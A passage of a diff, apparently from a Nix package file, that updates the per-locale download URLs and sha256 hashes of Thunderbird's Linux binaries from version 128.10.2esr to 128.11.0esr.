       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "32ac45687bc7ac6687325123956030e3b5638eb5b6ba39e4b7c6ce291e0a7c3a";
+      sha256 = "b0a8ffa0b3a489f5c4121aaef34b51b13eb3802a77f3561601152796031a2faa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/ar/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ar/thunderbird-128.11.0esr.tar.bz2";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "59e2aa5f85c69b99d9fa30de35dbd81c4b549deb98beb15c3a3fe913f63a05e9";
+      sha256 = "1309c22fed0408f03fa7121de214625f622b74ada6fef86a289f7d660c6e17ea";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/ast/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ast/thunderbird-128.11.0esr.tar.bz2";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "b989c0979f2708d30c275cb03c7055d3758a6c21be3aac85ea0f4613e18c48ca";
+      sha256 = "6c97500878038dfe1823ef6c10295fb17bb54d86552e11964fb48db3ee1c1f16";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/be/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/be/thunderbird-128.11.0esr.tar.bz2";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "b7ada50a52b826821c24e5ddcd48b0f93bc723cf7cb1807f5414f65f9a0f0574";
+      sha256 = "7c936e7ac0c2ece4ac5bf8529d327ddd86dd995bcb9f6b0aa0f538d7a61cb440";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/bg/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/bg/thunderbird-128.11.0esr.tar.bz2";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "5656c1761dec960f2dcf12655594c9efcd987097664e4a3f8ca3ad84e1a15f10";
+      sha256 = "73280bd32c41edc38094c3299707c8b2449deba9735d32bf801967203f4e39fc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/br/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/br/thunderbird-128.11.0esr.tar.bz2";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "c953f8bc188049807b2a52308f63ebe92528634a1f1fbdc356c194d2c78a239a";
+      sha256 = "200bb74fce955a7e7fe1ae03d469e662cc885e76f543f05ad288be7d849042a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/ca/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ca/thunderbird-128.11.0esr.tar.bz2";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "37d64068cf3de591c7339d58e2a87a6e37a6efadf33b16b427afa775d16ab01e";
+      sha256 = "dde2e5e69b7bf24ff0e6cb9bdb202a3f363a568e5636109d339f9e24d62d5c79";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/cak/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/cak/thunderbird-128.11.0esr.tar.bz2";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "997d42a67385057cd2c913c97cf1b0ca2d7359c4e90958935e28d3a670bda908";
+      sha256 = "d546f73a7d12eb5551a326d4ed90d1236a893522c9ccf636ef98e789f407dfb5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/cs/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/cs/thunderbird-128.11.0esr.tar.bz2";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "583a97c5725b1cd102ee862a795146d8e07b82831c66cc2aeba04983335569f5";
+      sha256 = "d72847a0cd7511bf954425b74f64190aac603577f0438cd86504f0e73e99470d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/cy/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/cy/thunderbird-128.11.0esr.tar.bz2";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "100be8be3f2af0f974bd0c970a2e9a119d2789c3178b18f615ab26a8a5da732e";
+      sha256 = "27e198634bcee4eb9a048537caac55294cd08da193e9d4db6237173ce696b2ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/da/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/da/thunderbird-128.11.0esr.tar.bz2";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "3ba04f8108ca983444b6c9cf029d1be0a2b8a03283cc628c38a1754d252b2e36";
+      sha256 = "bfdcec29a1b0f512f5183b8ea3a3dde0de5e31c0a289108365ef208c641c57ac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/de/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/de/thunderbird-128.11.0esr.tar.bz2";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "34251009f64852e02acf2a7780e03b37e41238a738ff739fd0689def677d055b";
+      sha256 = "13b8cdc1bb772de898caf376c89da74f75cf2f4040a3cda858f0f88af3c8eff8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/dsb/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/dsb/thunderbird-128.11.0esr.tar.bz2";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "378e3b2b0666985eadd85699be9f48b6b6fd01b92116c21abe3deadccd6bc025";
+      sha256 = "db534420d5fd292849e9f54ef9bf0755dd301a04b2700d2bb2ac8d4b6fd6ddc7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/el/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/el/thunderbird-128.11.0esr.tar.bz2";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "495dd2886f5569a5517ed74fbc23c8c7c5d73f8da02d4616470c518cd0182582";
+      sha256 = "3ddda65156961513f393c4bf13a679d5c878427793ed5c18d6b9b9cbfddd64ac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/en-CA/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/en-CA/thunderbird-128.11.0esr.tar.bz2";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "02fab5f0f675326a8da132a5d1edf4676754739bcaac81202f00537a2586de40";
+      sha256 = "a32fe87536fdb2537170abafe84ea860c2ab66bf247db9529b5029711c951198";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/en-GB/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/en-GB/thunderbird-128.11.0esr.tar.bz2";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "a161eb8e8fc8fcf9c01d0df61c0b1e2942ba91c88e942b46b5b4ba6d5508fa94";
+      sha256 = "450afd730337f4bde982dded28ec0434996e3734a1b93ac93d981ae299af5349";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/en-US/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/en-US/thunderbird-128.11.0esr.tar.bz2";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "d13d05ccdd81ce74acaabcafd930cc8ac401074d5076e566c52d713f78fbed84";
+      sha256 = "de6d32c96c6c3b99c0f35f6f38f08079d534a5b7f2ef38cc8cf1f61549885274";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/es-AR/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/es-AR/thunderbird-128.11.0esr.tar.bz2";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "81c96dcf22cb9f9a754cbe577476e2c3ad2a0c4b97362fa5a39ae9535b8a3fd8";
+      sha256 = "164c540d9e275860e5503982b3bda20d840be9728b8629c943a5fb9084168625";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/es-ES/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/es-ES/thunderbird-128.11.0esr.tar.bz2";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "fff28b92e2ef78ae96021fa11d9f64a83a511d03d48456c38e7e979c654f9f41";
+      sha256 = "10a77813766ff14ad64d9317b9bb19877d135ab3e184a56516b79a524bf77c38";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/es-MX/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/es-MX/thunderbird-128.11.0esr.tar.bz2";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "fee9e9ded630da598162cfe13b2e9ab8437bed55ebee916e93319a39ed39c0b1";
+      sha256 = "9d2c4fac454703423a6bb91651bcc47c722a9cca8f739abc87c6bdd6b7523739";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/et/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/et/thunderbird-128.11.0esr.tar.bz2";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "5e6b90bbbbe5b88db5475b506f44afef401b7d7abaea19f01d5bae69ccb2ea82";
+      sha256 = "a44d881fc416f588a4bed3303ed07b1fc158adf2bbac3196710d43a30065aa9e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/eu/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/eu/thunderbird-128.11.0esr.tar.bz2";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "3904b86d5911e124671a36614d68801f0a702dd14c76deff1001084712d82ef2";
+      sha256 = "6847b49aa68e9adcf3883163aba6f012e3bc54998f5eec334493841bbbbafcd1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/fi/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/fi/thunderbird-128.11.0esr.tar.bz2";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "4d2637e90731ad0438c391c23a163557f7a8f392bec0fa777caa1864a566b296";
+      sha256 = "8c1d9abcb72ec6dcb9b3d40d0311c28613d0a2efb7869ccd6ca04a423bcc1b64";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/fr/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/fr/thunderbird-128.11.0esr.tar.bz2";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "3451a88c03c8609d0bba49403747adfdc104ade529a41aa0ea69c26d7d20e238";
+      sha256 = "2ddebc586491cc7448c22fa13585b82a6a13c91d46eaed62f77128d63efe4b67";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/fy-NL/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/fy-NL/thunderbird-128.11.0esr.tar.bz2";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "04ef53f52451b1a9cb9cbf8d24e58c1eadad6e355fde1d40584ec35fd729f37e";
+      sha256 = "c73d2692e2be3e86253657ae9c98186249b579aee77344c13d9c16d9dc30f1eb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/ga-IE/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ga-IE/thunderbird-128.11.0esr.tar.bz2";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "065f54dfa31af305456d6adabe104aee8b36614b436e2f507304532f60282f4a";
+      sha256 = "f7f1a13ba8c9e59b9d5a6049d7970d8bcdd407e4823c3c3ed4e118728cd17640";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/gd/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/gd/thunderbird-128.11.0esr.tar.bz2";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "8f5be4d85b29a964492155b551c1a1d2d8aae519b9ec3ae6c4deea3ce6c3118b";
+      sha256 = "dd60c63c98dc43e7f6446a3d563550dfe35c3c5350a014ec5127b20453be8a74";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/gl/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/gl/thunderbird-128.11.0esr.tar.bz2";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "d8d436272b00d3bb417a2ed9557473a51bb7ad8cb124b6f3adcb48a044d20139";
+      sha256 = "b89d7f956c78a8432c0e02e100f286585df6f17af43ba005b8b4aab02e72fbe6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/he/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/he/thunderbird-128.11.0esr.tar.bz2";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "4e9d21a0300b3d5fc0c22b4578029f7891eb198d3899a41a97e43e31b5744456";
+      sha256 = "36d5b9928cc3f70882931defe1f87d7430514d358ef7e9214ea145ee096966c9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/hr/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/hr/thunderbird-128.11.0esr.tar.bz2";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "f9f471729cd9174292310370ee884dc64a3d3bb007c0a90c0e51a3da603e6441";
+      sha256 = "070b2e037e96e338d658b088ea2b39b75799dd5aff1cbab2f942f7142d9bbd5e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/hsb/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/hsb/thunderbird-128.11.0esr.tar.bz2";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "d919b79430d951386d9e340066f030c66574e4cc800e8986277849133c075630";
+      sha256 = "5d69c7f93def7bec56afb85990380c6eb76c543af61aad3933493fab60081d0b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/hu/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/hu/thunderbird-128.11.0esr.tar.bz2";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "b86531fad71c2b7287f9cf4eedee394bc8df4fa5fae69983b371449f7037f517";
+      sha256 = "6253b1908a8c268f51babd096947d4755bb4eee3d64bc06e9fa9ee44d31c9813";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/hy-AM/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/hy-AM/thunderbird-128.11.0esr.tar.bz2";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "a34d67d0feef03ca29c6e18361e2240016a8dab99d4088ceb1856def9c032103";
+      sha256 = "422965b47284186ab870784274ba01526069cb7c14384286e46414e079dee130";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/id/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/id/thunderbird-128.11.0esr.tar.bz2";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "dbf37b9933fad9455e4369315288bd0b27d5a35a3cd7f287064740516e7b0ffc";
+      sha256 = "f1a91dbcdda48d90b517d1e1966dff27f16c2e5b3bd9ddec0b026a91f41080af";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/is/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/is/thunderbird-128.11.0esr.tar.bz2";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "18f2bc1194fb3bbddf369812c39820c9d2f18acd48bc8d9b0ff18b8607cbd3a3";
+      sha256 = "e2b3127f2b032af7e2cb69377700251b0fc9b26c68258884c9de2236d38ac1d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/it/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/it/thunderbird-128.11.0esr.tar.bz2";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "502731138817eacd40b39c1bd4fa8bd99229322379a4f943889a98112686c56d";
+      sha256 = "a3ef4ccb354fe207d037e0ffe802b334f127dbec84138782316d629f3568a4b1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/ja/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ja/thunderbird-128.11.0esr.tar.bz2";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "5a25e8b6ca621834569535b112018f537713c6840bb790bfb9eef10f60ea1979";
+      sha256 = "0a8ce5f4b644287f38279693b7859576961b07d0a6e019b408fe18ff92d386fe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/ka/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ka/thunderbird-128.11.0esr.tar.bz2";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "468da54c2eddac0b0b62284b6112e7ebad18f20ce94ee9ce7640501c7b4eefa3";
+      sha256 = "724c39f5f6cc8c3de6fdc80162e2f07d93a661126466a4802f3acad54d10a402";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/kab/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/kab/thunderbird-128.11.0esr.tar.bz2";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "3a80a0d11535e220ffccbd4009d70919d0e51e243cea9838dee713e0c48622bf";
+      sha256 = "136a6aa0611487b679beb8ac4bbe4512015e5432d7a3c109b23b2ad137cf7138";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/kk/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/kk/thunderbird-128.11.0esr.tar.bz2";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "27f24eebe0c8944a4378fa79b94934ab1d52151f33e17ddb79882efefdc2ecd4";
+      sha256 = "23c544b09ba1e49f56a8eece84d07b2f683ae7114ffd6e6377bef46591721ece";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/ko/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ko/thunderbird-128.11.0esr.tar.bz2";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "1c5ece914d5c2fefad92b86826a51dfd14fc6b1dc10c98cc1e6111c75023369c";
+      sha256 = "b17748d3d4306f661cb708b859589c118b3c48b3f833e7d545a0940084454d42";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/lt/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/lt/thunderbird-128.11.0esr.tar.bz2";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "fde7c5990d66185b314d76ceb8c333ff64099ffc07e63a332c5fca6c00ba1f14";
+      sha256 = "4e6bf8b343156935412358b0e362f7de7f66cac00b94824090e8c89966a589c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/lv/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/lv/thunderbird-128.11.0esr.tar.bz2";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "37fe3860e71c18ca6ae3d2676a59551b730a4d8e4c86dfb54c45caa23092e996";
+      sha256 = "9173422a5df58b13f62d74df636555f7e040bc8f3cba600aeb29626b3c989327";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/ms/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ms/thunderbird-128.11.0esr.tar.bz2";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "acb16c973cbeb2df79ef47b81d8dcf34244fc47356a9de4f02056553bab176b5";
+      sha256 = "6bfb11c4461c4292402fe3217d1be193136a0bd660440b12465c4a3e7255c0fd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/nb-NO/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/nb-NO/thunderbird-128.11.0esr.tar.bz2";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "cee8d13a7a5d740f7bd3816ced07f3c5b15f57890000786fa30971ca877852ab";
+      sha256 = "c69773267bbc3dbd6a7d53b66a02b8b6b76f34c899e710a0d446e4a0839531f9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/nl/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/nl/thunderbird-128.11.0esr.tar.bz2";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "8a357e8863854549e34f568bd3f13e8ea764469a42bbb4f77e3b34bdf30a27c4";
+      sha256 = "05458c4137e09c20f9be6e335d346e048d054dd62fb1f2a89500790f14ee7c76";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/nn-NO/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/nn-NO/thunderbird-128.11.0esr.tar.bz2";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "307b17af7bd1f49e4ca53a32515b37a25b5cf5c438ccf14340add0043eb7f090";
+      sha256 = "0055cc060a0934d20e4e264d051ac50eae91455554497c9f5f4ab2aaaa382a76";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/pa-IN/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/pa-IN/thunderbird-128.11.0esr.tar.bz2";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "246c22a85f5774f6255bf18c893131abb4366631b0adf6c17ef0eb52a2d9fb67";
+      sha256 = "8dda9257c94d3a5753f578c67a8c5c939757bbc812d2f75a02633dc6717a6712";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/pl/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/pl/thunderbird-128.11.0esr.tar.bz2";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "a77097830b70ad7359032ac1c665ccc8336fb1c73dc9edd515439c191508ac43";
+      sha256 = "afdd28291f27a634c8b7d0d3fb4d02056973818a4218913a20d4560e8b532fa3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/pt-BR/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/pt-BR/thunderbird-128.11.0esr.tar.bz2";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "25683e5114e047bd971ee110fc2a2deca4eb05895585bee19d9febe6daedfec9";
+      sha256 = "496b95963b9949a7009d2416837aac60523fe53ddb07dede29a60680532f0f0e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/pt-PT/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/pt-PT/thunderbird-128.11.0esr.tar.bz2";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "314669c2e16bdcb921edf2c7d4a05bc1d3c079cab571913b229f8fbda6b9a0c7";
+      sha256 = "ab60938e6f28fee805d23d739d52b003ee9b94ad2648d917cc8dcf283ac59980";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/rm/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/rm/thunderbird-128.11.0esr.tar.bz2";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "bddc21e319f78f91e10f9fb670103c62fddb7e342fc69cf6cd9ba1414f813dbe";
+      sha256 = "4ff61809a1e3fc19e415d11c98eb6cfd6f94d8246de3d4d736612820a5461aff";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/ro/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ro/thunderbird-128.11.0esr.tar.bz2";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "fcefb28c153e60f93b64b31e3a5214b0e3feac182cb2c6abee9b81954a8e8f3b";
+      sha256 = "a4debb5cb3782c674f1fe48064fd761ae80d15388fbcc0303ee8252d7c6a8ef7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/ru/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ru/thunderbird-128.11.0esr.tar.bz2";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "7fbf7fdaf651279f7da0ba0ace7c84b283851f1c66d28cc4e80ae995d13c950e";
+      sha256 = "fcf137902ef9fbf274bba913277ef04a598f708c0eb5e6e0bcd8ccb26485dd37";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/sk/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/sk/thunderbird-128.11.0esr.tar.bz2";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "bf1555bb22dd49e884801b7c2206d23511373fa1bb0b41b51c3def0b2fd61080";
+      sha256 = "666e6f9e8fe7d206a356fb577c61c08da96bbe176439e52e855a2c3125cda9b3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/sl/thunderbird-128.10.2esr.tar.bz2";
